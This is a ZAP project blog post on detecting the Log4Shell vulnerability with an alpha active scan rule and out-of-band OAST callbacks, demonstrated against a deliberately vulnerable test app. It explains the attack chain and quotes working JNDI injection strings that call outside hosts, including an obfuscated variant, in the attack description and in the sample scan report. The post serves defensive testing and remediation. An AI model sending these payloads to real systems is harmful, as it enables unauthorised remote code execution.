Log4Shell Detection with ZAP

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Our last blog post talked about how ZAP 2.11.0 was potentially vulnerable to Log4Shell and how we fixed that. In this blog post we are going to look at detecting Log4Shell with the ZAP Automation Framework and the OAST add-on.

2021 Dec 16 Update

We have found that the public OAST servers that ZAP has preconfigured appear to be overloaded right now, which means they may not respond to requests generated by the payloads or requests from ZAP.

For now we recommend that you set up your own OAST server to test for this vulnerability.

The New ZAP Log4Shell Active Scan Rule

We recently added a new scan rule to detect Log4Shell in the alpha active scanner rules add-on. To use it, you will need to:

  1. Install the Active scanner rules (alpha) add-on from the ZAP Marketplace.
  2. Enable an OAST service that will be used in Active Scan Rules (explained why below).
  3. Launch an Active Scan against the application you want to test. You can do this from the GUI, but in this post we will be using the ZAP Automation Framework and do everything from the CLI.

By default ZAP does not actively scan HTTP headers as this can significantly increase the scan time. However this vulnerability is often exposed via headers so we recommend scanning them in this case. Instead of turning them on for all scan rules you can just perform a scan using this scan rule, which is what we demonstrate below.

Out of Band Testing

To understand why we need out-of-band testing to detect Log4Shell, we must first understand how the attack works at a high level.

As explained at https://log4shell.com,

  1. Data taken from the user is sent to the server (via any protocol).
  2. The server logs the request data, which includes the malicious payload: ${jndi:ldap://attacker.example.com/abc} (where attacker.example.com is an attacker controlled server).
  3. This payload triggers the log4j vulnerability, and the server sends a request to attacker.example.com via the “Java Naming and Directory Interface” (JNDI) protocol.
  4. The response from the attacker controlled server includes a URL to a remote Java class file (for example, http://second-stage.attacker.example.com/Exploit.class) that is injected into the server process.
  5. The second stage is triggered by the injected payload, which allows an attacker to run arbitrary code.

Note the third point above.

The server sends a request to attacker.example.com

The OAST Add-on

We need a way to verify that this request was made. This is where OAST comes in. Here’s how a typical active scan rule that makes use of the OAST add-on for ZAP proceeds:

  1. Obtain a unique domain from the OAST add-on.
  2. Insert the domain into a known Log4Shell payload, like ${jndi:ldap://attacker.example.com/abc} above.
  3. Poll the selected OAST service to check for DNS interactions at the domain.
  4. An alert is raised if any interactions were made to the OAST service.

ZAP currently supports two third-party open source OAST services - BOAST and Interactsh. It also supports a Callbacks service which is hosted on the same server as ZAP. By default, ZAP uses the free, publicly hosted instances of BOAST or Interactsh but you can also host them on your own and configure them in ZAP.

A Walkthrough Example

Let’s look at the scan rule in action against a deliberately vulnerable app. Feel free to follow along.

You will need:

  • Docker
  • The latest version of ZAP

We will be doing everything from the command line in this blog post, including running ZAP headlessly.

Start the vulnerable app, using:

docker run -p 8000:8080 ghcr.io/christophetd/log4shell-vulnerable-app

See this GitHub repo for more information about the vulnerable app.

Set up ZAP with a new config dir installing/updating the required add-ons:

./zap.sh -cmd -dir log4shell -addonupdate -addoninstall ascanrulesAlpha

Create these two files on your computer:


# Use the public BOAST service
# Scan headers in all requests
# Send the X-Api-Version header in spider requests - just required for the test app


  - name: "Default Context"
    - "http://localhost:8000/"
    failOnError: true
    failOnWarning: false
    progressToStdout: true
  vars: {}
- parameters: {}
  name: "spider"
  type: "spider"
- parameters: {}
    defaultStrength: "medium"
    defaultThreshold: "off"
    - id: 40043
      name: "Log4Shell (CVE-2021-44228)"
      threshold: "medium"
      strength: "default"
  name: "activeScan"
  type: "activeScan"
- parameters:
    time: "0:30"
  name: "delay"
  type: "delay"
- type: report
    template: traditional-json
    reportFile: log4shell-report

Run ZAP against the demo app with:

./zap.sh -cmd -dir log4shell -configfile /path/to/log4shell.conf -autorun /path/to/log4shell.yaml

Replace /path/to/… with the full path of the files.

The generated report should show the vulnerability 😄.

	"@version": "2.11.1",
	"@generated": "Mon, 13 Dec 2021 15:53:57",
			"@name": "http://localhost:8000",
			"@host": "localhost",
			"@port": "8000",
			"@ssl": "false",
			"alerts": [ 
					"pluginid": "40043",
					"alertRef": "40043",
					"alert": "Log4Shell (CVE-2021-44228)",
					"name": "Log4Shell (CVE-2021-44228)",
					"riskcode": "3",
					"confidence": "2",
					"riskdesc": "High (Medium)",
					"desc": "<p>Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.</p>",
							"uri": "http://localhost:8000/",
							"method": "GET",
							"param": "X-Api-Version",
							"attack": "${jndi:dns://7fiivcu3eqx4dozvlnwkofl3te.odiss.eu/abc}",
							"evidence": "DNS_A http://7fiivcu3eqx4dozvlnwkofl3te.odiss.eu. HTTP/1.1"
							"uri": "http://localhost:8000/",
							"method": "GET",
							"param": "X-Api-Version",
							"attack": "${jndi:${lower:l}${lower:d}a${lower:p}://c5okao7ocmnuwdqvfqcbyah5i4.odiss.eu/abc}",
							"evidence": "DNS_A http://c5okao7ocmnuwdqvfqcbyah5i4.odiss.eu. HTTP/1.1"
							"uri": "http://localhost:8000/",
							"method": "GET",
							"param": "X-Api-Version",
							"attack": "${jndi:ldap://rgyybz2ieq7efpk2gafiyajyuq.odiss.eu/abc}",
							"evidence": "DNS_A http://rgyybz2ieq7efpk2gafiyajyuq.odiss.eu. HTTP/1.1"
					"count": "3",
					"solution": "<p>Upgrade Log4j2 to version 2.15.0 or newer. In previous releases (>2.10) this behavior can be mitigated by setting system property \"log4j2.formatMsgNoLookups\" to \"true\" or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting \"com.sun.jndi.rmi.object.trustURLCodebase\" and \"com.sun.jndi.cosnaming.object.trustURLCodebase\" to \"false\".</p>",
					"otherinfo": "<p></p><p>Request</p><p>DNS_A http://7fiivcu3eqx4dozvlnwkofl3te.odiss.eu. HTTP/1.1</p><p></p><p>;; opcode: QUERY, status: NOERROR, id: 38751</p><p>;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1</p><p></p><p>;; QUESTION SECTION:</p><p>;7fiivcu3eqx4dozvlnwkofl3te.odiss.eu.\tIN\t A</p><p></p><p>;; ADDITIONAL SECTION:</p><p></p><p>;; OPT PSEUDOSECTION:</p><p>; EDNS: version 0; flags: ; udp: 1400</p><p></p><p>Response</p><p>HTTP/1.0 0</p><p></p><p></p><p>--------------------------------</p>",
					"reference": "<p>https://www.cve.org/CVERecord?id=CVE-2021-44228</p><p>https://www.lunasec.io/docs/blog/log4j-zero-day/</p><p>https://nvd.nist.gov/vuln/detail/CVE-2021-44228</p>",
					"cweid": "117",
					"wascid": "20",
					"sourceid": "102"


While many apps are vulnerable to Log4Shell with no authentication you should not assume that this will always be the case.

If an app only uses Log4j to log data from authenticated users then you will only find the vulnerabilities by performing an authenticated scan.

We always recommend running authenticated scans in a safe environment, and if you are doing that then you should check if your app can reach your chosen OAST server (e.g. ping odiss.eu).